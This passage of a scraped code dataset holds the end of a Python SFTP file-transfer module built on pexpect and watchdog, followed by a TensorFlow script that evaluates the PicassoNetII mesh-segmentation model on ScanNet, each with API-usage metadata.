sftpProcess.expect(\"sftp>\", timeout=10)\n            print(\"Connexion started\")\n\n            \"\"\"check existences of the directories\"\"\"\n            sftpProcess.sendline(f\"lcd {self.local_data_dir}\")\n            sftpProcess.sendline(f\"cd {self.srv_upload_dir}\")\n            index = sftpProcess.expect(\n                [\n                    f\"realpath {self.client_upload_dir}: No such file\",\n                    \"stat remote: No such file or directory\",\n                    \"Permission denied\",\n                    \"sftp>\",\n                ]\n            )\n            if index == 0 or index == 1:\n                print(\n                    f\"The directory {self.client_upload_dir} does not exist\",\n                    file=sys.stderr,\n                )\n                exit(1)\n            if index == 2:\n                print(\n                    f\"Permission denied : The directory {self.client_upload_dir} is not accessible.\",\n                    file=sys.stderr,\n                )\n                exit(1)\n\n            \"\"\"get the file\"\"\"\n            # With reget, we don't have to seperate the case, it's gonna get the file anyway\n            sftpProcess.sendline(f\"reget {name_file}\")\n            index = sftpProcess.expect(\n                [\"not found\", \"Permission denied\", \"100%\"], timeout=10\n            )\n            if index == 0:\n                print(\n                    f\"The file {self.srv_upload_dir}{name_file} not found\",\n                    file=sys.stderr,\n                )\n                exit(1)\n            if index == 1:\n                print(\n                    f\"Permission denied : can't download the file {self.srv_upload_dir}{name_file}\",\n                    file=sys.stderr,\n                )\n                exit(1)\n\n            \"\"\"stop the connexion\"\"\"\n            sftpProcess.sendline(\"exit\")\n            sftpProcess.expect(pexpect.EOF)\n            sftpProcess.kill(0)\n            print(sftpProcess.before.decode(\"utf-8\"))\n            if glob.glob(f\"{self.local_data_dir}{name_file}\"):\n                print(\"File transfer : Success\")\n\n        except pexpect.EOF:\n            print(\n                \"SFTP connexion has been interrupted : \\n\"\n                + sftpProcess.before.decode(\"utf-8\"),\n                file=sys.stderr,\n            )\n            exit(1)\n        except pexpect.TIMEOUT:\n            print(\n                \"SFTP connexion has expired : \\n\" + sftpProcess.before.decode(\"utf-8\"),\n                file=sys.stderr,\n            )\n            exit(1)\n        except Exception as e:\n            print(\n                f\"An error occure during SFTP connexion : \\n{str(e)}\\n\", file=sys.stderr\n            )\n            print(\n                sftpProcess.before.decode(\"utf-8\"),\n                file=sys.stderr,\n            )\n            exit(1)\n\n    def send_files(self, list_of_files):\n        \"\"\"We verify that's ALL the files do exists\"\"\"\n        for file in list_of_files:\n            if not glob.glob(f\"{self.local_data_dir}{file}\"):\n                print(\n                    f\"The local file '{self.local_data_dir}{file}' do not exist.\",\n                    file=sys.stderr,\n                )\n                exit(1)\n\n        try:\n            \"\"\"Connection with sftp server\"\"\"\n            sftpProcess = pexpect.spawn(\n                f\"{self.ssh_exec} -F {self.config_file}  {self.username}@{self.server_ip}\"\n            )\n\n            \"\"\"wait for the connexion to be down, and for the SFTP interface to be launch\"\"\"\n            sftpProcess.expect(\"sftp>\", timeout=10)\n            print(\"Connexion started\")\n\n            \"\"\"Existance + moove to the directory where we want to send the files\"\"\"\n            sftpProcess.sendline(f\"cd {self.client_upload_dir}\")\n            index = sftpProcess.expect(\n                [\n                    f\"realpath {self.client_upload_dir}: No such file\",\n                    \"stat remote: No such file or directory\",\n                    \"Permission denied\",\n                    \"sftp>\",\n                ]\n            )\n            if index == 0 or index == 1:\n                print(\n                    f\"The directory {self.client_upload_dir} does not exist\",\n                    file=sys.stderr,\n                )\n                exit(1)\n            if index == 2:\n                print(\n                    f\"Permission denied : The directory {self.client_upload_dir} is not accessible.\",\n                    file=sys.stderr,\n                )\n                exit(1)\n\n            \"\"\"upload files\"\"\"\n            sftpProcess.sendline(f\"lcd {self.local_data_dir}\")\n            for file in list_of_files:\n                sftpProcess.sendline(f\"ls {file}\")\n                index = sftpProcess.expect([f\"{file}\", \"not found\"], timeout=10)\n\n                if index == 0:\n                    # if the file we want to send existe in the remote server, it means that we add to finish the download\n                    print(f\"{file} already on the distant server : \")\n                    sftpProcess.sendline(f\"reput {file}\")\n                    print(f\"reput {file}\")\n                else:\n                    # if the file we want to send do not existe in the remote server, we just add it.\n                    sftpProcess.sendline(f\"put {file}\")\n                    print(f\"put {file}\")\n\n                index = sftpProcess.expect(\n                    [\n                        \"Permission denied\",\n                        \"100%\",\n                        \"destination file same size or larger\",\n                    ],\n                    timeout=10,\n                )\n                if index == 0:\n                    print(\n                        \"Permission denied :\\n \"\n                        + sftpProcess.before.decode(\"utf-8\")\n                        + sftpProcess.after.decode(\"utf-8\"),\n                        file=sys.stderr,\n                    )\n                    exit(1)\n\n                if index == 2:\n                    print(f\"The file {file} was already uploaded\")\n\n            \"\"\"Kill the connexion with the serveur\"\"\"\n            sftpProcess.sendline(\"quit\")\n            sftpProcess.expect(pexpect.EOF)\n            sftpProcess.kill(0)\n            print(sftpProcess.before.decode(\"utf-8\"))\n            print(\"Files transfer : Success\")\n\n        except pexpect.EOF:\n            print(\n                \"SFTP connexion has been interrupted : \\n\"\n                + sftpProcess.before.decode(\"utf-8\"),\n                file=sys.stderr,\n            )\n            exit(1)\n        except pexpect.TIMEOUT:\n            print(\n                \"SFTP connexion has expired : \\n\" + sftpProcess.before.decode(\"utf-8\"),\n                file=sys.stderr,\n            )\n            exit(1)\n        except Exception as e:\n            print(\n                f\"An error occure during SFTP connexion :\\n {str(e)}\\n\", file=sys.stderr\n            )\n            print(\n                sftpProcess.before.decode(\"utf-8\"),\n                file=sys.stderr,\n            )\n            exit(1)\n\n    def read_files(self, list_of_files):\n        \"\"\"We verify that's 'local_data_dir' do exists\"\"\"\n        if not glob.glob(f\"{self.local_data_dir}\"):\n            print(\n                f\"The local directory '{self.local_data_dir}' do not exist.\",\n                file=sys.stderr,\n            )\n            exit(1)\n\n        try:\n            sftpProcess = pexpect.spawn(\n                f\"{self.ssh_exec} -F {self.config_file}  {self.username}@{self.server_ip}\"\n            )\n            sftpProcess.expect(\"sftp>\", timeout=10)\n            print(\"Connexion started\")\n\n            \"\"\"get the files\"\"\"\n            sftpProcess.sendline(f\"lcd {self.local_data_dir}\")\n            sftpProcess.sendline(f\"cd {self.srv_upload_dir}\")\n            index = sftpProcess.expect(\n                [\n                    f\"realpath {self.client_upload_dir}: No such file\",\n                    \"stat remote: No such file or directory\",\n                    \"Permission denied\",\n                    \"sftp>\",\n                ]\n            )\n            if index == 0 or index == 1:\n                print(\n                    f\"The directory {self.client_upload_dir} does not exist\",\n                    file=sys.stderr,\n                )\n                exit(1)\n            if index == 2:\n                print(\n                    f\"Permission denied : The directory {self.client_upload_dir} is not accessible.\",\n                    file=sys.stderr,\n                )\n                exit(1)\n\n            for file in list_of_files:\n                sftpProcess.sendline(f\"reget {file}\")\n                index = sftpProcess.expect(\n                    [\"not found\", \"Permission denied\", \"100%\"], timeout=10\n                )\n                if index == 0:\n                    print(\n                        f\"The file {self.srv_upload_dir}{file} not found\",\n                        file=sys.stderr,\n                    )\n                    exit(1)\n                if index == 1:\n                    print(\n                        f\"Permission denied : can't download the file {self.srv_upload_dir}{file}\",\n                        file=sys.stderr,\n                    )\n                    exit(1)\n\n            \"\"\"stop the connexion\"\"\"\n            sftpProcess.sendline(\"exit\")\n            sftpProcess.expect(pexpect.EOF)\n            sftpProcess.kill(0)\n            print(sftpProcess.before.decode(\"utf-8\"))\n            for file in list_of_files:\n                if not glob.glob(f\"{self.local_data_dir}{file}\"):\n                    print(\n                        f\"Error, one of the files wanted was not downloaded : missing {self.local_data_dir}{file}\",\n                        file=sys.stderr,\n                    )\n                    exit(1)\n            print(\"Files transfer : Success\")\n\n        except pexpect.EOF:\n            print(\n                \"SFTP connexion has been interrupted : \\n\"\n                + sftpProcess.before.decode(\"utf-8\"),\n                file=sys.stderr,\n            )\n            exit(1)\n        except pexpect.TIMEOUT:\n            print(\n                \"SFTP connexion has expired : \\n\" + sftpProcess.before.decode(\"utf-8\"),\n                file=sys.stderr,\n            )\n            exit(1)\n        except Exception as e:\n            print(\n                f\"An error occure during SFTP connexion : \\n{str(e)}\\n\", file=sys.stderr\n            )\n            print(\n                sftpProcess.before.decode(\"utf-8\"),\n                file=sys.stderr,\n            )\n            exit(1)\n\n\n######################OTHER FUNCTIONS and CLASSES#########################\n\n\nclass MyEventHandler(FileSystemEventHandler):\n    \"\"\"\n    TODO : add a signal script that send an information to\n    the main thread when a file or a dir appear.\n\n    C.F the source code of FileSystemEventHandler and overwrite\n    events and adapte them to our class.\n    \"\"\"\n\n    def __init__(self, communication_module_server):\n        super().__init__()\n        self.communication_module_server = communication_module_server\n\n    def on_created(self, event):\n        if event.is_directory:\n            self.communication_module_server.dirs_from_client.add(event.src_path)\n        else:\n            self.communication_module_server.files_from_client.add(event.src_path)\n\n    def on_deleted(self, event):\n        \"\"\"\n        TODO : add a security here, in case we want to delete a file or a dir\n        which is not in dirs_from_client or files_from_client\n        Or just use discard that works like remove but without raising an error in\n        case the element does not exist in the list.\n        \"\"\"\n        if event.is_directory:\n            self.communication_module_server.dirs_from_client.remove(event.src_path)\n        else:\n            self.communication_module_server.files_from_client.remove(event.src_path)\n\n    def on_modified(self, event):\n        \"TODO : add some security controle here\"\n\n    def on_moved(self, event):\n        if event.is_directory:\n            self.communication_module_server.dirs_from_client.remove(event.src_path)\n            self.communication_module_server.dirs_from_client.add(event.dest_path)\n        else:\n            self.communication_module_server.files_from_client.remove(event.src_path)\n            self.communication_module_server.files_from_client.add(event.dest_path)\n\n\ndef get_IP():\n    \"\"\"\n    return the IP adresse of the current machin (in string format)pass\n    \"\"\"\n    p1 = subprocess.Popen([\"hostname\", \"-I\"], stdout=subprocess.PIPE)\n    result = subprocess.run(\n        [\"awk\", \"{print $2}\"], stdin=p1.stdout, capture_output=True, check=True\n    )\n    return result.stdout[0:-1].decode()\n", "repo_name": "Raf2139/communication_module", "sub_path": "communication_module.py", "file_name": "communication_module.py", "file_ext": "py", "file_size_in_byte": 24173, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "abc.ABC", "line_number": 27, "usage_type": "name"}, {"api_name": "yaml.safe_load", "line_number": 81, "usage_type": "call"}, {"api_name": "watchdog.observers.Observer", "line_number": 110, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 117, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 125, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 135, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 150, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 160, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 161, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 176, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 186, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 189, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 192, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 211, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 227, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 230, "usage_type": "attribute"}, {"api_name": "pexpect.spawn", "line_number": 236, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 258, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 264, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 296, "usage_type": "attribute"}, {"api_name": "pexpect.EOF", "line_number": 305, "usage_type": "attribute"}, {"api_name": "pexpect.EOF", "line_number": 310, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 314, "usage_type": "attribute"}, {"api_name": "pexpect.TIMEOUT", "line_number": 317, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 320, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 325, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 329, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 335, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 338, "usage_type": "attribute"}, {"api_name": "pexpect.spawn", "line_number": 343, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 363, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 369, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 382, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 388, "usage_type": "attribute"}, {"api_name": "pexpect.EOF", "line_number": 394, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 397, "usage_type": "call"}, {"api_name": "pexpect.EOF", "line_number": 400, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 404, "usage_type": "attribute"}, {"api_name": "pexpect.TIMEOUT", "line_number": 407, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 410, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 415, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 419, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 426, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 429, "usage_type": "attribute"}, {"api_name": "pexpect.spawn", "line_number": 435, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 456, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 462, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 495, "usage_type": "attribute"}, {"api_name": "pexpect.EOF", "line_number": 504, "usage_type": "attribute"}, {"api_name": "pexpect.EOF", "line_number": 509, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 513, "usage_type": "attribute"}, {"api_name": "pexpect.TIMEOUT", "line_number": 516, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 519, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 524, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 528, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 534, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 537, "usage_type": "attribute"}, {"api_name": "pexpect.spawn", "line_number": 542, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 562, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 568, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 580, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 586, "usage_type": "attribute"}, {"api_name": "pexpect.EOF", "line_number": 592, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 596, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 599, "usage_type": "attribute"}, {"api_name": "pexpect.EOF", "line_number": 604, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 608, "usage_type": "attribute"}, {"api_name": "pexpect.TIMEOUT", "line_number": 611, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 614, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 619, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 623, "usage_type": "attribute"}, {"api_name": "watchdog.events.FileSystemEventHandler", "line_number": 631, "usage_type": "name"}, {"api_name": "subprocess.Popen", "line_number": 678, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 678, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 679, "usage_type": "call"}]}
{"seq_id": "1155790357", "text": "import warnings\nwarnings.filterwarnings(\"ignore\")\nimport argparse, time, sys, os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\nimport numpy as np\nimport tensorflow as tf\nimport picasso.mesh.utils as meshUtil\nfrom picasso.augmentor import Augment\nfrom picasso.mesh.dataset import Dataset as MeshDataset\nfrom picasso.models.scene_seg_texture import PicassoNetII\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--data_dir', required=True, help='path to tfrecord data')\nparser.add_argument('--gpu', type=int, default=0, help='GPU to use [default: GPU 0]')\nparser.add_argument('--log_dir', default='../log_scannet_plain', help='Log dir [default: log_scannet_plain]')\nparser.add_argument('--ckpt_epoch', type=int, default=None, help='epoch model to load [default: None]')\nparser.add_argument('--batch_size', type=int, default=16, help='Batch Size during training [default: 16]')\nparser.add_argument('--max_num_vertices', type=int, default=1500000, help='maximum vertices allowed in a batch')\nparser.add_argument('--voxel_size', type=int, default=2, help='Voxel Size to downsample input mesh')\nparser.add_argument('--num_clusters', type=int, default=27, help='number of cluster components')\nparser.add_argument('--num_augment', type=int, default=20, help='number of augmentations')\nopt = parser.parse_args()\n\n# set gpu\ntf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR)\ngpus = tf.config.experimental.list_physical_devices('GPU')\ntf.config.experimental.set_visible_devices(gpus[opt.gpu], 'GPU')\ntf.config.experimental.set_memory_growth(gpus[opt.gpu], True)\n\nLOG_DIR = opt.log_dir\nLOG_FOUT = open(os.path.join(LOG_DIR, 'log_evaluate.txt'), 'a')\nLOG_FOUT.write(str(opt)+'\\n')\n\nresults_folder = LOG_DIR + '/test_results'\nif not os.path.exists(results_folder):\n    os.makedirs(results_folder)\n    os.makedirs(results_folder+'/GT')\n    os.makedirs(results_folder+'/Pred')\n\n# import importlib.util\n# spec = importlib.util.spec_from_file_location(\"PicassoNetII\", LOG_DIR + \"/scene_seg_texture.py\")\n# foo = importlib.util.module_from_spec(spec)\n# spec.loader.exec_module(foo)\n# PicassoNetII = foo.PicassoNetII\n\n# labels, classnames, and colormaps\nNUM_CLASSES = 20\nlabels = [*range(NUM_CLASSES)]\nclassnames = ['wall', 'floor', 'cabinet', 'bed', 'chair', 'sofa', 'table', 'door',\n              'window', 'bookshelf', 'picture', 'counter', 'desk', 'curtain', 'refridgerator',\n              'shower curtain', 'toilet', 'sink', 'bathtub', 'otherfurniture']\ncolormap = [(174, 199, 232), (152, 223, 138), (31, 119, 180),  (255, 187, 120),\n            (188, 189, 34),  (140, 86, 75),   (255, 152, 150), (214, 39, 40),\n            (197, 176, 213), (148, 103, 189), (196, 156, 148), (23, 190, 207),\n            (247, 182, 210), (219, 219, 141), (255, 127, 14), (158, 218, 229),\n            (44, 160, 44),   (112, 128, 144), (227, 119, 194), (82, 84, 163)]\n\n# tfrecord file_lists\nLists = {}\nLists['val']   =  [line.rstrip() for line in open(os.path.join(opt.data_dir, 'val_files.txt'))]\nLists['test']  =  [line.rstrip() for line in open(os.path.join(opt.data_dir, 'test_files.txt'))]\n\n\ndef log_string(out_str):\n    LOG_FOUT.write(out_str+'\\n')\n    LOG_FOUT.flush()\n    print(out_str)\n\n\ndef augment_fn(vertex, texture):\n    prob = 1.0\n    augment_xyz = vertex\n    augment_rgb = texture\n\n    # augment (xyz) on the fly with spatial transformations\n    augment_xyz = Augment.rotate_point_cloud(augment_xyz, upaxis=3, prob=prob)\n    augment_xyz = Augment.rotate_perturbation_point_cloud(augment_xyz, prob=prob)\n    augment_xyz = Augment.flip_point_cloud(augment_xyz, prob=prob)\n    augment_xyz = Augment.random_scale_point_cloud(augment_xyz, prob=prob)\n    augment_xyz = Augment.shift_point_cloud(augment_xyz, prob=prob)\n\n    # augment (rgb) color on the fly\n    # augment_rgb = Augment.random_drop_color(augment_rgb, prob=prob)\n    augment_rgb = Augment.shift_color(augment_rgb, prob=prob)\n    augment_rgb = Augment.jitter_color(augment_rgb, prob=prob)\n    augment_rgb = Augment.auto_contrast_color(augment_rgb, prob=0.5)\n\n    vertex = augment_xyz\n    texture = augment_rgb\n    return vertex, texture\n\n\ndef parse_fn(item, is_training=True):\n    features = {\n        'xyz_raw': tf.io.FixedLenFeature([], dtype=tf.string),\n        'rgb_raw': tf.io.FixedLenFeature([], dtype=tf.string),\n        'face_raw': tf.io.FixedLenFeature([], dtype=tf.string),\n        'seg_label_raw': tf.io.FixedLenFeature([], dtype=tf.string)\n    }\n    features = tf.io.parse_single_example(item, features=features)\n\n    dense_xyz = tf.io.decode_raw(features['xyz_raw'], tf.float32)\n    dense_rgb = tf.io.decode_raw(features['rgb_raw'], tf.float32)\n    dense_face = tf.io.decode_raw(features['face_raw'], tf.int32)\n    dense_semantic_label = tf.io.decode_raw(features['seg_label_raw'], tf.int32)\n\n    dense_xyz = tf.reshape(dense_xyz, [-1,3])\n    dense_rgb = tf.reshape(dense_rgb, [-1,3])\n    dense_face = tf.reshape(dense_face, [-1,3])\n    dense_label = tf.reshape(dense_semantic_label, [-1])\n\n    dense_vertex = tf.concat([dense_xyz, dense_rgb], axis=-1)\n    assert(dense_vertex.shape[0]==dense_label.shape[0])\n\n    dense_nv, dense_mf = tf.shape(dense_vertex[:, 0]), tf.shape(dense_face[:, 0])\n    return dense_vertex, dense_face, dense_nv, dense_mf, dense_label\n    # =======================================================================================================\n\n\nclass MyModel(tf.Module):\n    def __init__(self, net):\n        '''\n            Setting all the variables for our model.\n        '''\n        super(MyModel, self).__init__()\n        self.model = net\n\n    def evaluate(self, test):       \n        class_names = classnames[:20]\n        total_seen_class = {cat: 0 for cat in class_names}\n        total_correct_class = {cat: 0 for cat in class_names}\n        total_union_class = {cat: 0 for cat in class_names}\n\n        iter, batch_idx, test_time = 0, 0, 0.0\n        for dense_room_meshes, dense_room_labels in test.batch(1):\n            dense_vertex, dense_face, dense_nv, dense_mf = dense_room_meshes\n            dense_label = dense_room_labels\n\n            dense_room_logits = tf.zeros(shape=[dense_vertex.shape[0], NUM_CLASSES])\n            for augIter in range(opt.num_augment):\n                if augIter>0: # augment the mesh\n                    dense_xyzAug, dense_rgbAug = augment_fn(dense_vertex[:,:3], dense_vertex[:,3:])\n                    dense_vertexAug = tf.concat([dense_xyzAug, dense_rgbAug], axis=-1)\n                else:\n                    dense_vertexAug = dense_vertex\n\n                # ===================================voxelization===================================\n                # voxelize the dense mesh with user-defined voxel_size size, here we use 2cm\n                vertex, face, label, \\\n                voxel2dense_idx = meshUtil.voxelize_mesh(dense_vertexAug, dense_face,\n                                                         voxel_size=opt.voxel_size,\n                                                         seg_labels=dense_label,\n                                                         return_inverse=True)\n                face_texture = tf.concat([tf.gather(vertex[:,3:], face[:,0]),\n                                          tf.gather(vertex[:,3:], face[:,1]),\n                                          tf.gather(vertex[:,3:], face[:,2])], axis=-1)\n                face_texture = tf.reshape(face_texture, [-1, 3])\n                bary_coeff = tf.tile(tf.eye(3), [face.shape[0], 1])\n                num_texture = 3*tf.ones(shape=[face.shape[0]], dtype=tf.int32)\n                assert (vertex.shape[0]==label.shape[0])\n                nv, mf = tf.shape(vertex[:,0]), tf.shape(face[:,0])\n                # ==================================================================================\n\n                if augIter>0: # augment the mesh\n                    room_logits  = self.model(vertex, face, nv, mf, face_texture, bary_coeff,\n                                              num_texture, is_training=False, shuffle_normals=True)\n                else:\n                    room_logits  = self.model(vertex, face, nv, mf, face_texture, bary_coeff,\n                                              num_texture, is_training=False, shuffle_normals=False)\n                    room_logits += self.model(vertex, face, nv, mf, face_texture, bary_coeff,\n                                              num_texture, is_training=False, shuffle_normals=True)\n                dense_room_logits += tf.gather(room_logits, voxel2dense_idx)\n\n            iter = iter + 1\n            fname = os.path.basename(Lists['val'][iter-1]).split('.')[0]\n            print('%d/%d processed, %s' % (iter, len(Lists['val']), fname))\n\n            gt_labels = dense_label.numpy()\n            pred_labels = tf.math.argmax(dense_room_logits, axis=-1).numpy()\n\n            nyu40_gt_labels = np.ones_like(gt_labels)*40\n            nyu40_pred_labels = np.ones_like(gt_labels)*40\n            VALID_CLASS_IDS = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14, 16, 24, 28, 33, 34, 36, 39])\n            for i in range(NUM_CLASSES):\n                nyu40_gt_labels[gt_labels==i] = VALID_CLASS_IDS[i]\n                nyu40_pred_labels[pred_labels==i] = VALID_CLASS_IDS[i]\n            np.savetxt('%s/Pred/%s.txt' % (results_folder, fname), nyu40_pred_labels, fmt='%d', delimiter=',')\n            np.savetxt('%s/GT/%s.txt' % (results_folder, fname), nyu40_gt_labels, fmt='%d', delimiter=',')\n\n            interest_index = tf.where((dense_label>=0) & (dense_label<20))\n            gt_labels = tf.gather_nd(dense_label, interest_index)\n            pred_labels = tf.math.argmax(tf.gather_nd(dense_room_logits, interest_index), axis=-1)\n            gt_labels = gt_labels.numpy()\n            pred_labels = pred_labels.numpy()\n            for l, cat in enumerate(class_names):\n                total_seen_class[cat] += np.sum(gt_labels==l)\n                total_union_class[cat] += (np.sum((pred_labels==l) | (gt_labels==l)))\n                total_correct_class[cat] += (np.sum((pred_labels==l) & (gt_labels==l)))\n\n        class_iou = {cat: 0.0 for cat in class_names}\n        class_acc = {cat: 0.0 for cat in class_names}\n        for cat in class_names:\n            class_iou[cat] = total_correct_class[cat]/(float(total_union_class[cat])+np.finfo(float).eps)\n            class_acc[cat] = total_correct_class[cat]/(float(total_seen_class[cat])+np.finfo(float).eps)\n\n        total_correct = sum(list(total_correct_class.values()))\n        total_seen = sum(list(total_seen_class.values()))\n        log_string('total number of test sample:\\t %d'%iter)\n        log_string('eval overall class accuracy:\\t %d/%d=%3.2f'%(total_correct, total_seen,\n                                                          100*total_correct/float(total_seen)))\n        log_string('eval average class accuracy:\\t %3.2f'%(100*np.mean(list(class_acc.values()))))\n        for cat in class_names:\n            log_string('eval mIoU of %14s:\\t %3.2f'%(cat, 100*class_iou[cat]))\n        log_string('eval mIoU of all 20 classes:\\t %3.2f'%(100*np.mean(list(class_iou.values()))))\n\n    def fit(self, test, manager):\n        '''\n            This fit function runs training and testing.\n        '''\n        checkpoint = os.path.dirname(manager.latest_checkpoint) + '/ckpt-%d'%opt.ckpt_epoch\n        ckpt.restore(checkpoint)\n        print(\"Restored from {}\".format(checkpoint))\n\n        start_time = time.time()\n        self.evaluate(test)\n        end_time = time.time() - start_time\n        print('time taken to evaluate is %.3f seconds'%end_time)\n\n\nif __name__=='__main__':\n    valSet = MeshDataset(Lists['val']).map(parse_fn, is_training=tf.constant(False))\n    testSet = MeshDataset(Lists['test']).map(parse_fn, is_training=tf.constant(False))\n\n    # create model & Make a loss object\n    picasso_net = PicassoNetII(num_class=NUM_CLASSES, mix_components=opt.num_clusters, use_height=True)\n\n    # Create an instance of the model\n    model = MyModel(net=picasso_net)\n\n    # create a checkpoint that will manage all the objects with trackable state\n    ckpt = tf.train.Checkpoint(step=tf.Variable(1, trainable=False), net=picasso_net)\n\n    print(\"LOG_DIR=\", LOG_DIR)\n    manager = tf.train.CheckpointManager(ckpt, LOG_DIR + '/tf_ckpts', max_to_keep=300)\n    model.fit(test=valSet, manager=manager)\n\n", "repo_name": "Eddagnihajar/Picasso-main", "sub_path": "tensorflow/evaluate_scannet_plain.py", "file_name": "evaluate_scannet_plain.py", "file_ext": "py", "file_size_in_byte": 12239, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "warnings.filterwarnings", "line_number": 2, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 4, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 12, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.logging.set_verbosity", "line_number": 25, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 25, "usage_type": "attribute"}, {"api_name": "tensorflow.config.experimental.list_physical_devices", "line_number": 26, "usage_type": "call"}, {"api_name": "tensorflow.config", "line_number": 26, "usage_type": "attribute"}, {"api_name": "tensorflow.config.experimental.set_visible_devices", "line_number": 27, "usage_type": "call"}, {"api_name": "tensorflow.config", "line_number": 27, "usage_type": "attribute"}, {"api_name": "tensorflow.config.experimental.set_memory_growth", "line_number": 28, "usage_type": "call"}, {"api_name": "tensorflow.config", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 36, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 37, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "picasso.augmentor.Augment.rotate_point_cloud", "line_number": 76, "usage_type": "call"}, {"api_name": "picasso.augmentor.Augment", "line_number": 76, "usage_type": "name"}, {"api_name": "picasso.augmentor.Augment.rotate_perturbation_point_cloud", "line_number": 77, "usage_type": "call"}, {"api_name": "picasso.augmentor.Augment", "line_number": 77, "usage_type": "name"}, {"api_name": "picasso.augmentor.Augment.flip_point_cloud", "line_number": 78, "usage_type": "call"}, {"api_name": "picasso.augmentor.Augment", "line_number": 78, "usage_type": "name"}, {"api_name": "picasso.augmentor.Augment.random_scale_point_cloud", "line_number": 79, "usage_type": "call"}, {"api_name": "picasso.augmentor.Augment", "line_number": 79, "usage_type": "name"}, {"api_name": "picasso.augmentor.Augment.shift_point_cloud", "line_number": 80, "usage_type": "call"}, {"api_name": "picasso.augmentor.Augment", "line_number": 80, "usage_type": "name"}, {"api_name": "picasso.augmentor.Augment.shift_color", "line_number": 84, "usage_type": "call"}, {"api_name": "picasso.augmentor.Augment", "line_number": 84, "usage_type": "name"}, {"api_name": "picasso.augmentor.Augment.jitter_color", "line_number": 85, "usage_type": "call"}, {"api_name": "picasso.augmentor.Augment", "line_number": 85, "usage_type": "name"}, {"api_name": "picasso.augmentor.Augment.auto_contrast_color", "line_number": 86, "usage_type": "call"}, {"api_name": "picasso.augmentor.Augment", "line_number": 86, "usage_type": "name"}, {"api_name": "tensorflow.io.FixedLenFeature", "line_number": 95, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 95, "usage_type": "attribute"}, {"api_name": "tensorflow.string", "line_number": 95, "usage_type": "attribute"}, {"api_name": 